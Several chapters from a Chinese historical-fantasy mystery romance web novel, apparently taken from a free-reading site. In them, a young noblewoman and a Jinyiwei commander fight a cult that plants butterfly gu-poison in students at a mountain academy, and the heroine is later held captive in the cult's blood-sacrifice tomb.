霍青青攥着衣摆的手指节泛白,像是在克制什么。 顾衍拿起弓,放到霍青青面前:“很多时候,这个可以救命。救自己,救别人。” “你是不是会射箭?”顾衍静静地看着霍青青,总觉得霍姑娘不是不会,而是不想。 “嗯。”霍青青缓下来,还是闷闷的。 “霍青青,我问你。”顾衍走过来,蹲在霍青青面前,看着霍姑娘因为用力攥着衣摆泛白的指节,她依旧不愿拿起弓。 霍青青看着蹲下身子看她的青年,攥着衣摆的手松开来,柔柔笑道:“顾大人想问什么?” “若是遇上你要挽弓搭箭才能救我的时候,你会救我吗?” 初夏的风,卷起细碎光尘,青年人戴着那张假面,蹲在她面前认真地看着她。假面掩不住他那双带着笑意的星目,此刻他的眼里落满日光:“问你呢,救不救?” “傻了?”顾衍抬手微微撩起霍青青垂落下来的发:“说话。” 霍青青被他逗笑了,她眼睫轻颤着,弯眼笑道:“不知道。” “唉——”顾衍站起身长叹一口气,无奈摊手:“行,那我尽量不累着霍姑娘。” “顾衍。”霍青青拉住他的袖子。 霍姑娘喜欢抓人袖子这点,顾衍并不反感,被抓多了也就习惯了,他垂眸看着霍姑娘:“怎么不叫顾大人了?” “我……”霍青青一时竟不知怎么说,她默了默:“那,顾大人能不能小心些。” 顾衍看着霍姑娘,听着霍姑娘认认真真道:“我与顾大人,算起来已经交过三次心。顾大人愿意将性命交给我,自是极好的。 “但是……” 她顿了顿,站起身,离顾衍不过半步之遥:“我希望顾大人,能好好的。” 好好的。 三个字重过千万两。 顾衍忽然觉得,叫他名姓比叫顾大人更好听。 “顾大人。顾衍。”霍青青慢慢道:“我知道,我们都有过去。一些……不可说的过去。可是……若真的,我们以后能将这些说与彼此听,到那个时候,我们也许不会还是朋友。” 26.南宫澈 《指挥使今天不上班》全本免费阅读 自顾衍众目睽睽之下将霍青青拉走,霍青青就总觉得学宫里不少学子看她的眼神不对。也非什么鄙夷,无非就是带着探究。 霍青青向来不在意他人目光也就由他们去了。 今日跟霍青青同住一个院子的两人都上课去了,天玑院里只余下她一人。霍青青把自己关在房里大半日,霍十一进来时见饭菜未动,无奈叹了一口气。 “姑娘。”他叫了一声。 霍青青似是没听到一般,蹙着眉看着铺开在桌案上的卷宗和名册。 此时,她又落笔圈出图上一处。 正是她所在的天玑院。 这几日南宫澈并无异常。 按林豫所说,前年,也就是两年前左右,南宫澈就已经有叩拜赋生神的举动。无论是清醒或不清晰,都已经表明,长生教那时已在学宫内。 南宫澈也是命宫带煞者,在学宫里安稳呆了这已经是第三年。而另外两个已被杀害的学子,也均是在学宫之中三年者。 这一点便可证明,长生教请神是今年才开始。 若是南宫澈当真所言为新生,那么两年前长生教就已经开始布置。这么长的时间里,他们若一直潜藏在学宫里,那又是以何种身份? 长生教、南宫澈。 这两个到底有无关联? 如今只剩下一日,学宫内也未见异常。 “之后从屋里推开门走到院子的树下挖了几下,然后朝着月亮叩了三个头。” 霍青青又想起林豫的话,南宫澈的院子,她还未派人查探。长生教既是奔她来的,南宫澈若是与长生教有瓜葛,想必也会动手。如今……怕是又得寻顾衍了。 “姑娘,吃饭。”霍十一将她拦在门口。 霍青青蹙着眉看他:“晚些吃一样的,有些事不能耽搁。” “属下不管其他的任何事,属下是受老爷之命,如今锦屏不在,属下要照顾好姑娘。”霍十一握着剑,依旧挡住霍青青去路,不卑不亢。 霍青青叹了一口气,眉头舒展开来,看向他语气缓下来:“带去顾大人那边,我与他同吃,可好?” 屋子里一时静默下来,霍十一思量片刻,只问道:“姑娘不避嫌么?” “嗯?”霍青青挑眉,唇角带笑:“我与顾大人还有什么好避嫌的?” 那日里射艺课之后,那些学子虽未说出口,但私底下怕是早就把她和顾衍划一起去了。既如此,倒不如坦坦荡荡,还能借此一起探探虚实。 霍十一见她不似说笑,便微施一礼:“那属下稍后便让人将饭菜热好送来。” “嗯,十一,这些时日辛苦你了。等此间事了,我让爹多放你几日休沐。”霍青青推开门喊了辰砂:“辰砂,走。” 霍青青一路走得急,行走间青色衣袂飘扬,刚走到半路,林豫从一处修竹里冒出来:“青青妹妹,你这是去哪儿?” “今日身子有些不好,告了假出来随意走走。”霍青青端详着眼前的林豫,他还是那身束得规规矩矩的自己改的武服,今日也不知怎的,腰间常挂着的鸟羽不见了,取而代之的是几簇暗红流苏。 林豫见她模样不似作假,咧开嘴笑着开口:“今日外间风大,青青妹妹不若还是回去吧。夜里别乱走,小心……撞上鬼。” “嗯。”霍青青眼眸微眯,看着眼前的林豫,笑道:“林学长说得极是。” “只是,若是撞上鬼,是它吃我还是我咬它还不一定。” 霍青青话音刚落,疾风从高空俯冲下来,直直撞向林豫,隐在暗处的辰砂长剑前指,速度极快。 一时间,林豫抽出腰间剑竟将疾风和辰砂一并拦住。疾风一击未中,鸣叫着重新飞上云霄,盘旋在碧空上不时侧头看地上站着的霍青青。 辰砂被他的剑一震,神色一凛,反手打出朵朵剑花同时疾退开去挡在霍青青面前。 霍青青笑着拱拱手:“我且问问青州一行,来者可是陨长老?” “林豫”嗤了一声,撕下脸上一层面具,露出一张瘦削的三十余岁中年人的面庞:“聪明的丫头,可有时候太聪明,就是蠢了。” 他出剑刁钻且快,很快又逼至霍青青面前跟辰砂缠斗在一处。霍青青骨哨吹响,疾风扑着翅膀再次加入战局。这处离天权院还远,霍青青思量之下握住袖中短匕,细细看着那中年人的一招一式。 辰砂同他战在一处,谈不上轻松,只能堪堪挡住他的攻势。 霍青青短匕出手的瞬间,霍十一长剑也至。 那中年人诡异地自刀剑缝隙之中穿行如游鱼。他反手一剑带起罡风,声音尖细微哑:“贺乾带出来的好儿子,我倒想看看,有多能耐。”他怪笑两声,身形竟似慢慢消散去:“哦,忘了你们霍家……” 等这方重归平静。 霍青青蹲下身子以短匕挑起落在地上的那几簇暗红的流苏。 流苏原本是青色…… “辰砂,带着疾风去找林豫!”霍青青喝了一声,自己快步往天权院去了。 霍十一紧紧跟在她身后。 方才那人没存杀姑娘的心思,应当只是借了林豫的脸孔来接近姑娘。 霍青青一路走一路思索。 这个时辰,不是射艺课,他应当在的。 果然,她还未至院中,就见着顾衍拉开门,他看到她时愣怔一瞬,很快走过来,脸上挂起笑意:“我正要去找你。” “南宫澈。”两人异口同声,说罢都笑了,顾衍腰间佩刀,行至霍青青前面一步:“去你的院子谈。” 霍青青点点头。 顾衍忽然停住脚步,微微往旁边让了一点:“跟在身后做什么?” “在想事。”霍青青应了句,她知晓顾衍什么意思,遂朝前迈了一步与他并肩:“你何时知道的?” 顾衍瞥她一眼:“你能知道的,我未必不能查到。” “也是,顾大人威武。” “霍姑娘,少说好听的哄人。”顾衍觉得霍青青站在他身侧的感觉很好,他的步子不紧不慢,全看霍姑娘。 路上也没说太多,几人挑了一条小道,能直接到天玑院后院。 顾衍也不知是说笑还是认真,他站在霍姑娘身侧,微低下头同她说了句:“下次别这么着急,等着我来找你便是。你看今日,还得多跑这一趟,麻烦得很。” 霍青青将他挡开,自己先一步踏进院子里。< 27.长生歌 《指挥使今天不上班》全本免费阅读 “齐家那家主,见南宫澈这般颓废,自然心生不满。那承诺也不是他许下的,曾立下誓约的南宫老爷子也已过世。” “再说齐云,若非被南宫家的婚约绊住,恐怕早已被许给他人。若是我没查错,齐家主曾接过淇河商行之首杨家的拜帖。” 顾衍把玩着学宫分发的玉牌,等着霍青青。 “这般说来,那齐家主,是想断了婚约,才一直阻拦齐云进学宫。”霍青青整理着已经知晓的线索:“今岁案起,正好齐云说服齐家主。” “方才你说同陨长老交手,他是化作林豫的模样。我猜测……” “不会。”霍青青打断他。 “哦?”顾衍把玩玉牌的手一顿,饶有兴致地看着霍青青:“如何不会?” “不像……两个差得太远。”霍青青沉吟着:“我刚入学宫,便是南宫澈为我引路,他是干净的。” “而陨长老,他哪怕化作林豫,也无法掩去他噬杀的本质。”霍青青知晓陨长老如此,是来试探她的。陨长老易容成林豫,偏偏在腰间挂染血流苏,可不就是以此告诫她么? “霍姑娘就这么相信自己的眼睛?”顾衍微微倾身,近到能清晰地看到霍青青分明的眼睫:“那我们赌一把?” 霍青青笑起来,好不退避,迎上顾衍那双带着笑意的眼睛,她声音轻浅:“顾大人想赌什么?或者说想以什么为注?” 顾衍站起身撑在桌案上,声音带了三分笑撩过霍青青耳畔:“若他是南宫澈,我给霍姑娘多当一年打手如何?” “好划算的买卖啊,顾大人。”霍青青撑着头看他:“顾大人不会要我加钱吧?” 顾衍哂笑一声退回去坐着:“自然不会。若他不是,霍姑娘回去结给我的银钱,翻倍。如何?” “可。”霍青青点头。 这个买卖她不吃亏,这点钱,她还是玩儿得起。 “爽快。”顾衍取了纸笔,写下两份赌约。两人的名字放在一处,霍青青印下狼头印,顾衍也没含糊。 门外有人走动,疾风在窗外扑扇,霍青青站起身先把窗打开放疾风进来。想来应当是辰砂去找林豫回来了。 疾风站在桌案上,戒备地看着顾衍。 顾衍抬手,它就往旁边跳。如此反复几次,顾衍嗤笑一声不再理它。 “今夜,去一趟半山苑。”顾衍起身整理着衣袖欲走,忽然听到敲门声。 “姑娘。” 是霍十一。 霍青青这才觉察出饿来,等霍十一摆上饭食碗筷,她提了袖子给顾衍倒上一盏茶:“顾大人,不如留下一同吃吧。正好也带了顾大人那一份。” “早时吃过了,我坐这里给霍姑娘当个下饭菜如何?”他将假面取下来,那一层薄薄的面具被他收进怀里。 “好啊,有劳顾大人了。”霍青青净了手。 …… 青州学宫的夜里,安静得很。 因着地处留青山,鲜少有人声。初夏时节还没有鸣蝉,偶有鸟雀啁啾。 半山苑离得不算远,是南宫澈的住处。 顾衍和霍青青紧赶慢赶,自林间小路翻到半山苑,顾衍一把将霍青青带上屋顶。 “顾大人如此熟悉,想来没少翻别人屋顶。”霍青青在他身边压低声音笑了句。 “嘘。”顾衍看了霍青青一眼,略低身子握住她的肩膀,他听见有极轻的脚步声朝着这边来。 “澈哥!你不能……”齐云的声音传过来,声调里带着急躁,脚步凌乱起来。 南宫澈的声音少有的带着压抑的怒气:“齐云!” 齐云的声音戛然而止,似是被南宫澈喝住。 外间静默许久,齐云的声音带着哭腔响起:“若是不帮他,我们都会死的。” 南宫澈长叹一口气:“阿云,你这是何苦……” “我无畏前程如何,只想做到问心无愧,你呢?” “我?”齐云愣了愣:“我……明明只想让澈哥过得好啊。” 两人拉扯着,齐云死死拽住南宫澈的袖摆,南宫澈一时停下脚步。 南宫澈看着眼前伴他十余载的人,一时辨不清他到底该如何。他神色复杂地看着齐云,齐云小时候便长得可爱,如今大了褪去幼态,已经长成了亭亭玉立的大姑娘。单说淇河,想求娶的人就数不胜数,其中更不乏身有功名,有钱有势之人。 而他呢? 南宫家没落之后,他苦读无果,他不是爷爷那样能以一篇诗文动淇河,不像自己父亲自幼被称为神童练得一手好丹青。他南宫澈门门都学,门门普通。拼尽了全力考入学宫,为搏一个仕途,结果依旧没有任何水花。 直到…… “阿云,你可曾问过我,我愿意吗?” 明明是一个十八岁的少年,此时颓唐下去,沧桑得像暮年老者,他眼中悲戚,看着齐云茫然的模样,终于伸出手去将她抱在怀里:“阿云,不能再错下去了。” 说罢,将齐云狠狠推开。 齐云愣怔一瞬,复又追上去,大着胆子从身后抱住南宫澈。 “澈哥……”她喊着,满脸泪痕:“澈哥,你记不记得,小时候我们在一起读书,你总是比我先学会,我听不懂,你就等先生走了继续教我。你好聪明的……我从那时候就知道,我的澈哥是最好的。” “可是……那是少时的南宫澈。”南宫澈苦笑着,抬手捂住脸,声音颤抖着:“那是南宫家在淇河还有一席之地的南宫澈,是南宫家被叫作淇河南宫氏的时候。” 士人风骨,淇河南宫。 旧时南宫老爷子为南宫家挣下士人风骨的名头,多少文人敬之。到了南宫墨池,他一手绝妙丹青,世间少有,但生性直率快言快语,最后得罪小人,致使南宫家被四方打压,散尽家财证清白。 齐家…… 南宫澈看着齐云,心中叹息着。 如今的齐氏家主,齐云的父亲,哪里算得什么磊落人。但齐云自小便敬仰自己父亲,他……不忍啊…… “澈哥……”齐云声音微颤,红着眼不肯放开:“如今,你不是过得很好吗?为什么……就不能继续过下去呢?” “呵……”南宫澈轻笑一声,笑着落下泪来。 滚烫的眼泪落在他自己的手掌中,烫得他的手不住地颤抖。 “可是,这都是假的啊……” 南宫澈握住齐云环在他腰间的手:“阿云,假的就是假的,永远都成不了真。” “可是他说……”齐云话语未落,南宫澈就捂住她的嘴。 “ 28.惊变 《指挥使今天不上班》全本免费阅读 为首一人,是南宫澈。 他不知何时戴上一个面具,面具青红相间,像是地狱里爬出来的鬼役。他口中唱着长生歌,同齐云一起踩着虚浮的舞步。 “我问啊,我叩啊……” “速去告知陈之齐,让他带着学子们走。”顾衍沉声吩咐下去,有人速速领命而去。 …… 陈之齐的院落,他听闻事发,抚着胡子,好在今夜早有准备。 “陈爷爷,我这便去召集所有学子。” “快些,去吧。让他们自己做选择。” 得了陈之齐应允,林豫轻功掠起。他飞速爬上高台,抱起钟撞,用力连撞六次。那悠远的钟声在夜里分外响亮,惊起留青山鸟雀。 学子们虽不知何事,但也纷纷穿好衣物。 陈之齐和林映看着眼前肃立的众多学子先是一揖。 学子惊诧之下看向他身侧的林豫。 林豫微微颔首。 陈之齐踏出一步,声音沉稳且坚定:“今日长话短说。有长生教妖人在学宫作祟,已有两位学子遇害。事发突然,诡异莫测,我与林映便并未声张,而是直接上报青州府衙,八百里加急送往京都。” 学子们骚动起来,有不忿的开口问道:“瞒着我们,是想让我们都被长生教挨着杀光吗?” “是啊,两条人命,就想这样揭过去吗?” 人声嘈杂起来,林映提起声音喝了一句:“肃静!” “我今日奉锦衣卫指挥使顾衍之命将此事告诉大家,是因为长生教屡犯命案,青州之中并不太平。命案已起,我们无法扭转,接连两个学子,我不心痛吗?” 一时间,学子们安静下来,是啊,陈之齐和祭酒是最爱他们的。他们教书育人从不看门第不分高低贵贱,此事……他们或许也是真的无能为力。 林映深吸一口气,接着道:“如今,霍家之女霍青青与锦衣卫指挥使顾衍已与长生教妖人缠斗。你们若是有想走的,我会让人送你们出去,若是想留……你们定要好生思量。若是没点真本事,就别去拖他们的后腿了。” “那……我们能做什么?”有人怯怯的,是今岁入学将将十五岁同霍青青一个院落的杨荇。 看着远处有隐约火光,林豫上前一步:“射得准的可以跟我走,我和陈爷爷带你们杀长生教妖人。其余人等,撤离学宫。外面有青青妹妹的人接应。” 学子也都知晓轻重,最后留下的,清点出来共三十余。 “行,那么你们便跟我和陈爷爷走。” “劳烦爷爷带他们出去了。”林豫笑着对林映拱手。 林映拍拍他的肩:“好好的。” “是!孙子知道!”林豫是第一次,因为去打架被林映鼓励。 “大家,都要好好的,此间事了,我会都上报朝廷。也会同顾指挥使一起,给那两个死去的学子一个交代。” …… “我问啊,我叩啊……” 顾衍几人刀剑还未至,便见他们身后竟有上百人影显出,没有任何生机,像提线木偶一般跳着同南宫澈和齐云一样的诡异舞蹈。 “长生啊……新生啊……终破茧,得新生,血蝶啊、血蝶啊,重新破茧吧……” 陨长老素白长袖一拂,扬起一阵光尘。 那飘飞的血雨里,他徒手拽住辰砂的剑刃,生生折断。霍青青见此情景,忽吹出一声短促的哨音。 月色里,紫色长绫绽开,长绫末端串着特制利刃,带着撕裂夜风的锐气狠狠地朝着陨长老贯来。紫绫如虹,携着银白月光扎入泥土里,一击不中下瞬时拔出,紧接着便朝四方推开。 每一道利刃都狠狠扎入一个活死人的身体里,将他们当胸扎穿。 他们身体里没有血。 黑夜里,长生教教众不断被霍青青布下的暗卫击退,哪怕斩断他们四肢,他们也还在不断扭曲着前行,张口怒吼撕咬。 陨长老见此情形,只怪笑一声,长鞭一卷,将齐云带起,几个起落便已出数十步开外。 “不好!”霍青青挥剑斩落一个长生教教众首级,朝着远处喊道:“阿浔、锦屏、十一,助我!” 陈之齐和林豫带着剩下的三十余学子远远看着这边,依稀看到月华之下,有人执剑而立,刀剑寒芒映出凛凛风华。紫绫绽开那一刹那,竟让月光都黯了三分。 紫衣女子飞跃而起,借着风势如九天玄女锋芒灼灼。她轻巧地踏过屋脊,带出一道艳丽紫影朝着霍青青靠拢。 而锦屏,神色冷清,手中软剑动如灵蛇,出手果决。 “陈爷爷,我想……我大概知道你为什么喜欢天天夸青青妹妹了。”林豫看着她们,目光顺着她们一路追逐到霍青青身上。 霍青青一袭青裙,手中反握长剑,同在人群之中分外醒目。 无论是他不认识的紫衣女子,还是锦屏,都义无反顾地奔向霍青青,这是,无畏艰难也要随着霍青青一起前行。 女子。 她们这般女子,或许并非许多人口中的大家闺秀,但她们依旧站在天地间发出耀目光彩,带着灼灼锋芒。 林豫朝着陈之齐抱拳一礼:“晚辈想同他们并肩而战,陈爷爷可否允了?” “允。”陈之齐抚着胡子,心中欣慰。 “那他们,便交给陈爷爷了,怎么用就看陈爷爷的了。” “小子,去吧,你爷爷总说你文不成武不就,这次,就让他看看。”陈之齐领着学子们取弓拿箭,自己也扛上一把弩,转过身来朝着众学子笑笑:“许久没活动过筋骨了,今天就让你们看看什么叫老当益壮。” …… 这些长生教教众不知疲倦一般,朝着顾衍一行扑来,前赴后继。兰浔破开一条路,很快又被爬起来的长生教教众挡住。 “顾衍,我去找齐云。” 顾衍下意识抓住她的手腕,往自己身后一拉:“我随你去。” 他话音刚落,夜空中有数支绑了火引的箭矢射来,在暗色的夜空里点亮天际。火色的箭矢,都牢牢地射入长生教教众的身体里,随后便开始燃烧起来。在灼灼烈焰里,兰浔紫绫飞舞,利刃映出火光。 有森冷的气息掠至锦屏身后,锦屏还未转身,便听着铿锵声响。 林豫剑如游龙,同他们一起进退。 顾衍面色微沉,他的人自暗处悄无声息地显出身形。 “是巫蛊傀儡。”霍青青在他身边,眼中沉沉。 “快子时了,齐云恐怕……顾 29.破茧 《指挥使今天不上班》全本免费阅读 顾衍和霍青青赶到天玑院时,便见那陨长老坐于屋顶。 一身素白大袖衫映得他脸色越发苍白,他看着急行而来的顾衍和霍青青,忽然笑了。 “贺乾养出来的好儿子,和我们才该是同类啊。”他轻叹一声,明明是四十余岁中年人的模样,却像是迟暮老叟。他站起身,伸出手掐在身旁齐云的脖子上将她提起:“她要破茧了。” 齐云一身青色的衣裙沾染了鲜血,她的手死死抠住陨长老那只傀儡甲。 顾衍将霍青青往身后一拉,抬头看向陨长老,他嗓音带笑:“还未到子时,陨长老,要提前杀了她么?” “呵……”陨长老笑了声,看到他手中拖着的南宫澈:“这不是还有一个么?” “那陨长老记错了,是有两个。”霍青青的声音忽然响起。 “哦?”陨长老松开齐云,扔了她在屋脊上大口呼吸着。他玩味地看着霍青青:“可是你的命,不是我要的。” 陨长老哈哈大笑起来,他展袖自屋顶飞跃而下,站在顾衍和霍青青二十步开外:“他们都会破茧。而你们……都逃不过的……” “命数天定,你们当真以为能打破天去,为自己挣一个自己想要的世间吗?” 陨长老一边说着,一边步步逼近。 霍青青这才看清,在夜色的微光里,他脸上不断变幻着神色,似悲似喜,最后变作一张她不认得的脸。 就是这一瞬间,顾衍动了,他的刀尖停在陨长老的咽喉。 陨长老并未停下,而是微微上前,让那刀尖没进皮肤,渗出一丝鲜血顺着脖颈流下。 “你还要再杀他一次吗?”陨长老看向顾衍,二指夹住刀刃,让那刀刃扎得更深了点:“你,真的还要,再杀他一次吗?顾衍。” 顾衍的刀猛然抽回,他后退一步。 “顾衍。”霍青青唤了一句。 对了,已经过去两年,贺乾已经死了两年了,这是……在青州学宫,他对面……是陨长老。 他拉住霍青青的手,霍姑娘的手带着微微的凉意。 重新拿起刀时,他带着以往的笑意看向陨长老:“贺乾,已死。” “哦?”陨长老愣了一瞬,很快大笑道:“哈哈哈哈哈你本是恶兽,如今给自己加上一条链子,还将这链子交到了别人手中,顾衍,你真是贺乾的好儿子啊哈哈哈哈哈。” 静下来的夜里,隐有银铃声。 “陨长楼,你的事做完了就滚。”女子的声音遥遥传来,她携着一串铃声,手中握着一面铃鼓。 “妖女。”陨长老骂了一句,微抬下巴示意:“喏,你要的人,我可是半点没伤。” “好久未见的小丫头了,如今倒是长得越发招人喜欢了呀。”被称作妖女的女子赤足挽纱,手腕上带着几个宽大的木镯子,碰撞间发出沉闷的声响。 “怎么?陨长楼,不跟这个小子打了?”女子摆弄着自己的指甲,并没将任何人放在眼里。 “打?”陨长老睨了她一眼:“我怕被他咬死。” “就这点出息。”女子带着笑,看向一旁抱着齐云的南宫澈:“她快破茧了。” “等血蝶将她的血液都吸干净,就会在她体内破茧呀。漂亮的……破茧的血蝶,那时候,会漫天飞舞,从她的身体里破茧而出,带着她的血肉成为她生命的延续。”女子蹲下身,抬手摸上南宫澈的头:“你哭什么呀?” “这就是……新生啊……” 女子话音未落,周遭就变幻了模样。连同南宫澈和齐云一起消失不见。 顾衍站在原处,将霍青青的手握得很紧,他低声道:“伍行起阵了。看来,他们那边已经打完。” “霍姑娘。不要听、不要看,跟着我就好。”他走在前面,带着霍青青前行。 霍青青任由他握住手,跟在他身后,看着他飘扬的发带,在黑暗里似有微光。 她浅浅地应了一声。 “那齐云,没救了。她的身体,被当做养蛊的器皿,就是他们所说的茧。”顾衍的指腹抹过霍青青的手背,心下稍安:“我曾接手过一案,也是亲眼看着破茧。” “化蝶案?”霍青青想起来,曾经闹得民心惶惶的化蝶案,便是经了顾衍的手。 而那桩化蝶案,卷宗所记录的口供便是,缙州知府家的那个公子,变成红色的蝴蝶……飞走了。 “化蝶一案,亦是长生教的手笔,也是自那时,我才发现他们脖子上都会有一个破茧蝶的纹样。而那个知府公子……说是化蝶,不如说是被当成了这些蝴蝶的养料。它们是巫蛊,被种在人的身体里,时日到了,便会破茧而出。从被种蛊之人的身体里,破茧。也是那时起,我才受皇上之命调查长生教。” 许久没听见霍青青搭话,顾衍觉得太过安静,遂笑问道:“霍姑娘害怕了?” “不怕。” 顾衍走在前头,背对着霍青青,唇角微微勾起:“怎么不说话?” 霍青青亦步亦趋跟在他身后,有那么一瞬间,觉得这条路好像永远都走不到尽头。她反手握住顾衍的手,明显地感觉到顾衍僵了一下。 哪有主动牵手自己反倒不好意思的? “你别看伍行那样,对阵法可是天赋异禀。不然这次学宫之行,林老爷子也不会放他去教奇门遁甲。”顾衍说着,合着霍青青的步子稍稍慢下来:“青州学宫,早先你也知道,这几个院子按北斗七星排布,合五行阴阳之说,确是最适合布阵的。再者,你可听过留青山的传说?” 霍青青另一只手微微提起裙摆,扫过一阶梯子:“传闻留青山是大煜灵脉,曾有青龙在此化灵,那青龙能催生万物,让春风留驻。故称留青山。当年青州学宫选址,也正是因为找了大拿算出此地灵山秀水。” “不错。”顾衍微微侧目,反手一刀斩落一条探头的毒蛇:“而那长生教所追寻的,正是长生。在他们的眼中,不断重获新生,便算是长生。” “若非伍行想起来,恐怕连我都忘了,这留青山原本就是以生为名的山脉,也难怪长生教会选在这里。” “南宫澈此事我倒是想明白一些东西。”顾衍说着,停住脚步。 霍青青顺着他的目光看去,前面正是南宫澈和齐云。她正要上前,就被顾衍一把拽住。 “别过去。已经回天乏术。”顾衍站在她身边,眸光深深:“长生教总在利用人们的欲望,以欺骗那些执念已深的人。骗他们被种下蛊,心甘情愿变成那些蛊的载体。”
霍青青百无聊赖地坐在黑暗里,她揉着自己的肩背,微微提起裙摆。 脚下粘腻的感觉像是踩进打湿的泥地里。 借着外面透进来的微弱的月光,她看到地上一片血肉荼靡。她踩在这滩烂泥里,鲜血粘稠。 这里,应当就是最后血祭的地方了。 她走动到门口,才听见哗啦啦的声响,原来月长老在她脚踝上了一副镣铐,铁制的链子刚才埋进了这片狼藉里,她还以为是淹没在血肉里让她的腿变得沉重。 前面是一道石门,那月光就是从石门的缝隙里落进来的。 是这方黑暗里唯一的光亮。 忽然,门外出现一个鬼面,青红相间。跟那日南宫濯戴的如出一辙。那人将面具微微抬起露出他本来的脸上纵横交错的疤痕。 也只有这一瞬间,就消失不见。 霍青青扶着石门站稳,她脚上的镣铐约摸有五六斤重,长约三丈,是刚好能触碰到石门的位置。 霍青青靠着石门坐在搅碎的血肉里,地上的东西粘腻得她不舒服。她抱膝坐着,想着事。 不知道想什么,就想想顾大人那日晚上翻窗来送药膏,然后红了耳垂。又想想他之前鲜衣怒马,出现在她的马车外问车内何人。还有生辰宴时,他带着半身的血赶过来还她一根银钗。桩桩件件,都很有意思。 夜里太安静,霍青青碰了碰手腕间戴着的玉镯子拿了袖子里放着的玉制九连环解闷。 月长老把她身上许多东西都丢了,唯独没有丢这镯子和九连环。想来是因为玉制的没什么用。 那还真是……给她捡便宜了。 如今身上没有兵刃钗环,破不开这镣铐的锁,只得先歇着了。虽有些算不清时日,但霍青青知道,只要月长老的铃鼓声再响起,那就是又有一个人破茧。 没多久,霍青青就觉得困了。 她今岁本就嗜睡,加之月长老给加了药,更易困。 这里血腥味儿和腐烂的气息太过浓烈,霍青青微微嗅着袖口沾染上的薄荷香才觉得好些。 她没告诉顾衍,那青玉狼头印只要拿去找带着她月字标记的钱庄就能给支银钱,想要多少,便有多少。 她那日其实听到了,顾衍说她还没给他结工钱。 顾衍啊顾衍,霍青青心里笑叹。 只望你不要冲动行事,不要以性命作抵。 第二日夜里,月长老来了。 她递来一把匕首,笑着道:“神使说先要你一碗血。” 霍青青接过来,问月长老:“可是我怕疼啊,怎么办?” 月长老还是像在马车上那样摸摸她的头,然后笑起来:“不若你睡过去,我来放血,就不痛了。” “那还是月长老来吧。等我睡过去再动手。”霍青青将匕首还给月长老,靠着石门坐着。 月长老笑出声,果真是等着她睡过去才割开血口放出小半碗血。那血在白玉碗里晃荡着,透出一点月光。 等霍青青再醒过来时,外间天色已大亮,放血的血口已经被包扎好。 赋生神神使……应当昨日那张带着青红鬼面的人。 无非是装神弄鬼故弄玄虚罢了。 长生教所谓的神,始终成不了真,只能靠着披着一张长生的皮欺骗世人的眼睛。青州学宫一事,应当已经摆在了明面。只要有一人醒悟,那便会有其他人醒悟。 35.神使 青州如此动荡,不免引许多人前来。 顾衍命伍行前去青州及亓州官府借人以拦百姓。而其余人等则开始整装出发。 青、亓二州府衙,也知此事重大,纷纷遣兵赶去留青山脉周边拦住上山百姓。另,传信已至京都,太傅霍书同大理寺卿霍承阳及锦衣卫指挥使“顾衍”理出这两年中长生教所有罪状呈于朝堂之上,公之于众。 明顺帝震怒,下旨赐各地锦衣卫行事之权,援江湖义士铲除长生教。 灵玄子自成一队,一人先行前往。 自那日月长老的出现,顾衍又是一番推敲。他在同医老交谈之后抓住其中端倪,翻阅已有记载的蛊术之后才知,若想断蛊,便要杀了施蛊者手中的母蛊。那母蛊,定然是安放在长生教各据点之中。 如今亓州、阜州、栗州、淇河长生教据点已散,只余下青州一处。 月长老常年养蛊,养下的毒物不计其数,而长生教一部分便是以她的蛊术为辅。 蛊物以血肉养之,到了时日便自会从受蛊人的身体里钻出来。那血色的蝶便是蛊,破茧钻出身体后开始蚕食受蛊人新鲜的血肉。然后飞离,陆续回到月长老手中。 它们带着浓重的血腥味儿,成为新的蛊蝶。 这种蛊,要整整两年才能破茧而出。 想来,这种蛊蝶便是长生药的源头,只要还有人不断受蛊就会有无穷无尽的所谓长生药。 长生药会使人癫狂,陷入自己的世界里剖开自己的层层欲望去追逐亦或是追寻长生。而后将豢养的人都喂下长生药,服食两年未死者送往墓穴供奉他们所谓的活神像。 他们所选的受蛊人都是未满二十且执念深重的人,这般才会更好地激起心中不甘,从而为长生教所用。 如今三队人马已在路上,杏林医老及门下八位弟子制出伤药后往青州与亓州交界处进发。 若是可以,能救下一人便是一人吧。 …… 月长老推开石门时,霍青青正靠在一处石壁上闭目养神。墓穴里满地的血肉似乎都影响不了她分毫。 墓穴里不断增添着新的血肉,将腐烂的血肉白骨压下去。 月长老站在洞开的石门前,她身后有月光落进来。于霍青青来说是少有的光亮。 霍青青微微睁开眼,看向月长老,笑道:“月长老这次找我何事?” 月长老走过来,鼓铃轻响,她蹲下身,看着霍青青:“你那男人,搞出的动静太大。” “哦?他又搞出什么动静了?”霍青青笑问。 接着她话锋一转,握住月长老的手,看着她长长指甲上涂着的鲜红豆蔻,慢慢抹过去:“我猜,是他疯了。” 她说着,朝月长老指甲上轻轻吹了一口气:“那你们为何倾巢而出在青州开战呢?这里,并不是多好的战场。你们应该知道的,若是想围剿你们,轻而易举。” 霍青青说笑着,微眯了眼睛看向石门外:“青州和我,很重要么?” 月长老抽回手站起身来,整理着自己的木镯,发出些沉闷的碰撞声:“告诉你倒也无妨,青州龙脉、北斗请神,血祭若成,赋生降世。” “不过我有些好奇,你脸上的疤……怎么好的?”月长老借着月光端详着霍青青的脸。 微弱的月光映照进来,霍青青的脸上只带着多日不见阳光的苍白,光洁平坦,也摸不出假面的存在。 霍青青笑而不语,只慢慢道:“原来月长老早些年也并非长生教中人啊。难道换了个地方就能被世人敬仰么?一样的欺世罔人,一样的活在自己给自己编织的梦里,真的不可怜么?” 洞外的微风轻拂,摇动一片树影。银白月华之下,寒风彻骨。 月长老闻言笑开了,笑声尖锐带着三分疯魔:“霍青青,你果然没有放弃追查当年傅氏灭门一案。哈哈哈哈哈,霍清风那个蠢货,当真以为他……” “啪”,一记响亮的耳光抽在月长老的面上。 霍青青冷眼看着她:“他是我哥。” 月长老被她打得一愣,很快又笑起来:“你哥?他不过是个小杂种,是当年风家早该死的见不得光的种……” “他是我哥。”霍青青一把扯过月长老的手臂,将她狠狠地按在石壁上发出令人牙酸的骨骼断裂声:“风家?风叔叔是你能骂的吗?月浅,你不过是当年因爱生恨,求而不得。” 月长老挣脱开来,捂住腰腹。许许多多的蛇虫鼠蚁,自墓穴的地上爬出来,聚集在她身边。 她红着眼摇响鼓铃,不断有窸窸窣窣的声音响起。那是蛇腹摩擦地面的声音。 以身入蛊,月浅也早就疯了。 她如今是一个完完全全的蛊人。 霍青青“噼啪”磕碎了一个镯子,微弱的,令人清醒的薄荷香飘散在这满是腥臭的墓穴。 “妖女,现在还不是杀她的时候。”一个白影出现在墓穴门口。 是陨长老。 